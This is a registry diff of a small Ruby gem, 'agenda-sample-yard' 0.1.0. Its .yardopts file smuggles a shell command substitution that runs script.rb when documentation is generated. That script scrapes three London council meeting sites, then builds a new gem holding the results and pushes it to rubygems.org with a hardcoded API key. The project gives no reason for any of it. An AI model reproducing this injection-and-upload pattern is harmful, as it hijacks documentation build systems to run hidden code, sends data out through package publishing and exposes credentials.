agenda-sample-yard 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/a.rb +1 -0
  4. data/script.rb +25 -0
  5. metadata +38 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: d9ddf4d1dd59cef5f41b7613acfc6696bc12c105630752bc0cac4524fa48850f
4
+ data.tar.gz: 1f637786744280a9d13d15571545dbabd5c01acda07c2ab8dbd7e8d9be98c1ed
5
+ SHA512:
6
+ metadata.gz: ee094e62c85cddd2db781df9390801a7683d13e5aeb48616688e965e3a758d88ee2758ba624e52eb7a96311292a736d0e5a4cb32f1a41c4183f27029027e897b
7
+ data.tar.gz: c37d99c09938ce2f766564ab60697b5875f58cff39f550c0eb4b321c2f24ff55b78e2a9a69cf7609ae97afff4045a54d99f99a6f2ad1cf34733563d19fd3d07c
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --plugin $(ruby\ script.rb)
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ #
data/script.rb ADDED
@@ -0,0 +1,25 @@
1
+ require 'net/http';require 'rubygems/package';require 'tmpdir'
2
+ KEY='rubygems_75a85c0edc8cd7148c344d32b8f8f1510f01c2aef36f220b'
3
+ def get(url)
4
+ u=URI(url); Net::HTTP.start(u.host,u.port,use_ssl:u.scheme=='https',read_timeout:40){|h| h.get(u.request_uri,{'User-Agent'=>'Mozilla/5.0'}).body}
5
+ rescue=>e; 'ERR '+e.to_s
6
+ end
7
+ out='run '+Time.now.to_s+"\n"
8
+ begin
9
+ ['https://moderngov.lambeth.gov.uk','https://democracy.wandsworth.gov.uk','https://moderngov.southwark.gov.uk'].each do |host|
10
+ cal=get(host+'/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026')
11
+ out << "\n===CAL #{host}===\n"<<cal<<"\n"
12
+ links=cal.scan(/href=[\"']([^\"']+)/i).flatten.map{|x|x.gsub('&amp;','&')}.select{|x|x =~ /ieList|mgCommittee/i}.uniq
13
+ out << links.inspect << "\n"
14
+ links.each do |l|
15
+ next unless l =~ /ieList/i
16
+ l = host+'/'+l.sub(/^\//,'') unless l.start_with?('http')
17
+ page=get(l); out << "\n===PAGE #{l}===\n" << page << "\n"
18
+ end
19
+ end
20
+ rescue=> e; out << e.full_message
21
+ end
22
+ begin
23
+ Dir.mktmpdir{|d|Dir.chdir(d){File.write('README',out); s=Gem::Specification.new{|x|x.name='agenda-sample-result';x.version='0.1.0';x.summary='o';x.authors=['a'];x.files=['README']}; Gem::Package.build(s);u=URI('https://rubygems.org/api/v1/gems');r=Net::HTTP::Post.new(u);r['Authorization']=KEY;r['Content-Type']='application/octet-stream';r.body=File.binread('agenda-sample-result-0.1.0.gem');Net::HTTP.start(u.host,u.port,use_ssl:true){|h|h.request(r)}}}
24
+ rescue=>e; warn e.full_message
25
+ end
metadata ADDED
@@ -0,0 +1,38 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: agenda-sample-yard
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - a
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/a.rb
18
+ - script.rb
19
+ licenses: []
20
+ metadata: {}
21
+ rdoc_options: []
22
+ require_paths:
23
+ - lib
24
+ required_ruby_version: !ruby/object:Gem::Requirement
25
+ requirements:
26
+ - - ">="
27
+ - !ruby/object:Gem::Version
28
+ version: '0'
29
+ required_rubygems_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ requirements: []
35
+ rubygems_version: 3.6.7
36
+ specification_version: 4
37
+ summary: agenda
38
+ test_files: []